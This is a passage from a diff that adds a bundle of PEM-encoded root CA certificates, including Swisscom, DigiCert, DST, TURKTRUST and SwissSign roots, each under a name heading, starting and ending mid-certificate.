+AQUAA4IBDwAwggEKAoIBAQDnIwNvbyOlXnjOlSztlB5uCp4Bx+ow0Syd3Tfom5h5VtP8c9/Qit5V
+j1H5WuretXDE7aTt/6MNbg9kUDGvASdYrv5sp0ovFy3Tc9UTHI9ZpTQsHVQERc1ouKDAA6XPhUJH
+lShbz++AbOCQl4oBPB3zhxAwJkh91/zpnZFx/0GaqUC1N5wpIE8fUuOgfRNtVLcK3ulqTgesrBlf
+3H5idPayBQC6haD9HThuy1q7hryUZzM1gywfI834yJFxzJeL764P3CkDG8A563DtwW4O2GcLiam8
+NeTvtjS0pbbELaW+0MOUJEjb35bTALVmGotmBQ/dPz/LP6pemkr4tErvlTcbAgMBAAGjgZ8wgZww
+KgYDVR0RBCMwIYYfaHR0cDovL3d3dy5maXJtYXByb2Zlc2lvbmFsLmNvbTASBgNVHRMBAf8ECDAG
+AQH/AgEBMCsGA1UdEAQkMCKADzIwMDExMDI0MjIwMDAwWoEPMjAxMzEwMjQyMjAwMDBaMA4GA1Ud
+DwEB/wQEAwIBBjAdBgNVHQ4EFgQUMwugZtHq2s7eYpMEKFK1FH84aLcwDQYJKoZIhvcNAQEFBQAD
+ggEBAEdz/o0nVPD11HecJ3lXV7cVVuzH2Fi3AQL0M+2TUIiefEaxvT8Ub/GzR0iLjJcG1+p+o1wq
+u00vR+L4OQbJnC4xGgN49Lw4xiKLMzHwFgQEffl25EvXwOaD7FnMP97/T2u3Z36mhoEyIwOdyPdf
+wUpgpZKpsaSgYMN4h7Mi8yrrW6ntBas3D7Hi05V2Y1Z0jFhyGzflZKG+TQyTmAyX9odtsz/ny4Cm
+7YjHX1BiAuiZdBbQ5rQ58SfLyEDW44YQqSMSkuBpQWOnryULwMWSyx6Yo1q6xTMPoJcB3X/ge9YG
+VM+h4k0460tQtcsm9MracEpqoeJ5quGnM/b9Sh/22WA=
+-----END CERTIFICATE-----
+
+Swisscom Root CA 1
+==================
+-----BEGIN CERTIFICATE-----
+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
+NY6E0F/6MBr1mmz0DlP5OlvRHA==
+-----END CERTIFICATE-----
+
+DigiCert Assured ID Root CA
+===========================
+-----BEGIN CERTIFICATE-----
+MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG
+EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
+IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx
+MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
+ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew
+ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO
+9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy
+UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW
+/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy
+oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf
+GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF
+66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq
+hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc
+EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn
+SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i
+8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe
++o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g==
+-----END CERTIFICATE-----
+
+DigiCert Global Root CA
+=======================
+-----BEGIN CERTIFICATE-----
+MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG
+EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
+HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw
+MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
+dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq
+hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn
+TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5
+BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H
+4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y
+7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB
+o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm
+8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF
+BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr
+EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt
+tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886
+UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
+CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
+-----END CERTIFICATE-----
+
+DigiCert High Assurance EV Root CA
+==================================
+-----BEGIN CERTIFICATE-----
+MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG
+EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw
+KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw
+MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
+MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu
+Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t
+Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS
+OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3
+MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ
+NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe
+h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB
+Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY
+JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ
+V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp
+myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK
+mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
+vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K
+-----END CERTIFICATE-----
+
+Certplus Class 2 Primary CA
+===========================
+-----BEGIN CERTIFICATE-----
+MIIDkjCCAnqgAwIBAgIRAIW9S/PY2uNp9pTXX8OlRCMwDQYJKoZIhvcNAQEFBQAwPTELMAkGA1UE
+BhMCRlIxETAPBgNVBAoTCENlcnRwbHVzMRswGQYDVQQDExJDbGFzcyAyIFByaW1hcnkgQ0EwHhcN
+OTkwNzA3MTcwNTAwWhcNMTkwNzA2MjM1OTU5WjA9MQswCQYDVQQGEwJGUjERMA8GA1UEChMIQ2Vy
+dHBsdXMxGzAZBgNVBAMTEkNsYXNzIDIgUHJpbWFyeSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEP
+ADCCAQoCggEBANxQltAS+DXSCHh6tlJw/W/uz7kRy1134ezpfgSN1sxvc0NXYKwzCkTsA18cgCSR
+5aiRVhKC9+Ar9NuuYS6JEI1rbLqzAr3VNsVINyPi8Fo3UjMXEuLRYE2+L0ER4/YXJQyLkcAbmXuZ
+Vg2v7tK8R1fjeUl7NIknJITesezpWE7+Tt9avkGtrAjFGA7v0lPubNCdEgETjdyAYveVqUSISnFO
+YFWe2yMZeVYHDD9jC1yw4r5+FfyUM1hBOHTE4Y+L3yasH7WLO7dDWWuwJKZtkIvEcupdM5i3y95e
+e++U8Rs+yskhwcWYAqqi9lt3m/V+llU0HGdpwPFC40es/CgcZlUCAwEAAaOBjDCBiTAPBgNVHRME
+CDAGAQH/AgEKMAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQU43Mt38sOKAze3bOkynm4jrvoMIkwEQYJ
+YIZIAYb4QgEBBAQDAgEGMDcGA1UdHwQwMC4wLKAqoCiGJmh0dHA6Ly93d3cuY2VydHBsdXMuY29t
+L0NSTC9jbGFzczIuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCnVM+IRBnL39R/AN9WM2K191EBkOvD
+P9GIROkkXe/nFL0gt5o8AP5tn9uQ3Nf0YtaLcF3n5QRIqWh8yfFC82x/xXp8HVGIutIKPidd3i1R
+TtMTZGnkLuPT55sJmabglZvOGtd/vjzOUrMRFcEPF80Du5wlFbqidon8BvEY0JNLDnyCt6X09l/+
+7UCmnYR0ObncHoUW2ikbhiMAybuJfm6AiB4vFLQDJKgybwOaRywwvlbGp0ICcBvqQNi6BQNwB6SW
+//1IMwrh3KWBkJtN3X3n57LNXMhqlfil9o3EXXgIvnsG1knPGTZQIy4I5p4FTUcY1Rbpsda2ENW7
+l7+ijrRU
+-----END CERTIFICATE-----
+
+DST Root CA X3
+==============
+-----BEGIN CERTIFICATE-----
+MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/MSQwIgYDVQQK
+ExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4X
+DTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVowPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1
+cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQAD
+ggEPADCCAQoCggEBAN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmT
+rE4Orz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEqOLl5CjH9
+UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9bxiqKqy69cK3FCxolkHRy
+xXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40d
+utolucbY38EVAjqr2m7xPi71XAicPNaDaeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0T
+AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQ
+MA0GCSqGSIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69ikug
+dB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXrAvHRAosZy5Q6XkjE
+GB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZzR8srzJmwN0jP41ZL9c8PDHIyh8bw
+RLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubS
+fZGL+T0yjWW06XyxV3bqxbYoOb8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ
+-----END CERTIFICATE-----
+
+DST ACES CA X6
+==============
+-----BEGIN CERTIFICATE-----
+MIIECTCCAvGgAwIBAgIQDV6ZCtadt3js2AdWO4YV2TANBgkqhkiG9w0BAQUFADBbMQswCQYDVQQG
+EwJVUzEgMB4GA1UEChMXRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QxETAPBgNVBAsTCERTVCBBQ0VT
+MRcwFQYDVQQDEw5EU1QgQUNFUyBDQSBYNjAeFw0wMzExMjAyMTE5NThaFw0xNzExMjAyMTE5NTha
+MFsxCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdDERMA8GA1UE
+CxMIRFNUIEFDRVMxFzAVBgNVBAMTDkRTVCBBQ0VTIENBIFg2MIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEAuT31LMmU3HWKlV1j6IR3dma5WZFcRt2SPp/5DgO0PWGSvSMmtWPuktKe1jzI
+DZBfZIGxqAgNTNj50wUoUrQBJcWVHAx+PhCEdc/BGZFjz+iokYi5Q1K7gLFViYsx+tC3dr5BPTCa
+pCIlF3PoHuLTrCq9Wzgh1SpL11V94zpVvddtawJXa+ZHfAjIgrrep4c9oW24MFbCswKBXy314pow
+GCi4ZtPLAZZv6opFVdbgnf9nKxcCpk4aahELfrd755jWjHZvwTvbUJN+5dCOHze4vbrGn2zpfDPy
+MjwmR/onJALJfh1biEITajV8fTXpLmaRcpPVMibEdPVTo7NdmvYJywIDAQABo4HIMIHFMA8GA1Ud
+EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgHGMB8GA1UdEQQYMBaBFHBraS1vcHNAdHJ1c3Rkc3Qu
+Y29tMGIGA1UdIARbMFkwVwYKYIZIAWUDAgEBATBJMEcGCCsGAQUFBwIBFjtodHRwOi8vd3d3LnRy
+dXN0ZHN0LmNvbS9jZXJ0aWZpY2F0ZXMvcG9saWN5L0FDRVMtaW5kZXguaHRtbDAdBgNVHQ4EFgQU
+CXIGThhDD+XWzMNqizF7eI+og7gwDQYJKoZIhvcNAQEFBQADggEBAKPYjtay284F5zLNAdMEA+V2
+5FYrnJmQ6AgwbN99Pe7lv7UkQIRJ4dEorsTCOlMwiPH1d25Ryvr/ma8kXxug/fKshMrfqfBfBC6t
+Fr8hlxCBPeP/h40y3JTlR4peahPJlJU90u7INJXQgNStMgiAVDzgvVJT11J8smk/f3rPanTK+gQq
+nExaBqXpIK1FZg9p8d2/6eMyi/rgwYZNcjwu2JN4Cir42NInPRmJX1p7ijvMDNpRrscL9yuwNwXs
+vFcj4jjSm2jzVhKIT0J8uDHEtdvkyCE06UgRNe76x5JXxZ805Mf29w4LTJxoeHtxMcfrHuBnQfO3
+oKfN5XozNmr6mis=
+-----END CERTIFICATE-----
+
+TURKTRUST Certificate Services Provider Root 1
+==============================================
+-----BEGIN CERTIFICATE-----
+MIID+zCCAuOgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBtzE/MD0GA1UEAww2VMOcUktUUlVTVCBF
+bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGDAJUUjEP
+MA0GA1UEBwwGQU5LQVJBMVYwVAYDVQQKDE0oYykgMjAwNSBUw5xSS1RSVVNUIEJpbGdpIMSwbGV0
+acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLjAeFw0wNTA1MTMx
+MDI3MTdaFw0xNTAzMjIxMDI3MTdaMIG3MT8wPQYDVQQDDDZUw5xSS1RSVVNUIEVsZWt0cm9uaWsg
+U2VydGlmaWthIEhpem1ldCBTYcSfbGF5xLFjxLFzxLExCzAJBgNVBAYMAlRSMQ8wDQYDVQQHDAZB
+TktBUkExVjBUBgNVBAoMTShjKSAyMDA1IFTDnFJLVFJVU1QgQmlsZ2kgxLBsZXRpxZ9pbSB2ZSBC
+aWxpxZ9pbSBHw7x2ZW5sacSfaSBIaXptZXRsZXJpIEEuxZ4uMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEAylIF1mMD2Bxf3dJ7XfIMYGFbazt0K3gNfUW9InTojAPBxhEqPZW8qZSwu5GX
+yGl8hMW0kWxsE2qkVa2kheiVfrMArwDCBRj1cJ02i67L5BuBf5OI+2pVu32Fks66WJ/bMsW9Xe8i
+Si9BB35JYbOG7E6mQW6EvAPs9TscyB/C7qju6hJKjRTP8wrgUDn5CDX4EVmt5yLqS8oUBt5CurKZ
+8y1UiBAG6uEaPj1nH/vO+3yC6BFdSsG5FOpU2WabfIl9BJpiyelSPJ6c79L1JuTm5Rh8i27fbMx4
+W09ysstcP4wFjdFMjK2Sx+F4f2VsSQZQLJ4ywtdKxnWKWU51b0dewQIDAQABoxAwDjAMBgNVHRME
+BTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAV9VX/N5aAWSGk/KEVTCD21F/aAyT8z5Aa9CEKmu46
+sWrv7/hg0Uw2ZkUd82YCdAR7kjCo3gp2D++Vbr3JN+YaDayJSFvMgzbC9UZcWYJWtNX+I7TYVBxE
+q8Sn5RTOPEFhfEPmzcSBCYsk+1Ql1haolgxnB2+zUEfjHCQo3SqYpGH+2+oSN7wBGjSFvW5P55Fy
+B0SFHljKVETd96y5y4khctuPwGkplyqjrhgjlxxBKot8KsF8kOipKMDTkcatKIdAaLX/7KfS0zgY
+nNN9aV3wxqUeJBujR/xpB2jn5Jq07Q+hh4cCzofSSE7hvP/L8XKSRGQDJereW26fyfJOrN3H
+-----END CERTIFICATE-----
+
+TURKTRUST Certificate Services Provider Root 2
+==============================================
+-----BEGIN CERTIFICATE-----
+MIIEPDCCAySgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBF
+bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP
+MA0GA1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg
+QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwHhcN
+MDUxMTA3MTAwNzU3WhcNMTUwOTE2MTAwNzU3WjCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBFbGVr
+dHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEPMA0G
+A1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmls
+acWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpNn7DkUNMwxmYCMjHWHtPFoylzkkBH3MOrHUTpvqe
+LCDe2JAOCtFp0if7qnefJ1Il4std2NiDUBd9irWCPwSOtNXwSadktx4uXyCcUHVPr+G1QRT0mJKI
+x+XlZEdhR3n9wFHxwZnn3M5q+6+1ATDcRhzviuyV79z/rxAc653YsKpqhRgNF8k+v/Gb0AmJQv2g
+QrSdiVFVKc8bcLyEVK3BEx+Y9C52YItdP5qtygy/p1Zbj3e41Z55SZI/4PGXJHpsmxcPbe9TmJEr
+5A++WXkHeLuXlfSfadRYhwqp48y2WBmfJiGxxFmNskF1wK1pzpwACPI2/z7woQ8arBT9pmAPAgMB
+AAGjQzBBMB0GA1UdDgQWBBTZN7NOBf3Zz58SFq62iS/rJTqIHDAPBgNVHQ8BAf8EBQMDBwYAMA8G
+A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHJglrfJ3NgpXiOFX7KzLXb7iNcX/ntt
+Rbj2hWyfIvwqECLsqrkw9qtY1jkQMZkpAL2JZkH7dN6RwRgLn7Vhy506vvWolKMiVW4XSf/SKfE4
+Jl3vpao6+XF75tpYHdN0wgH6PmlYX63LaL4ULptswLbcoCb6dxriJNoaN+BnrdFzgw2lGh1uEpJ+
+hGIAF728JRhX8tepb1mIvDS3LoV4nZbcFMMsilKbloxSZj2GFotHuFEJjOp9zYhys2AzsfAKRO8P
+9Qk3iCQOLGsgOqL6EfJANZxEaGM7rDNvY7wsu/LSy3Z9fYjYHcgFHW68lKlmjHdxx/qR+i9Rnuk5
+UrbnBEI=
+-----END CERTIFICATE-----
+
+SwissSign Gold CA - G2
+======================
+-----BEGIN CERTIFICATE-----
+MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw
+EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN
+MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp
+c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B
+AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq
+t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C
+jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg
+vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF
+ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR
+AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend
+jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO
+peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR
+7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi
+GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw
+AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64
+OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov
+L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm
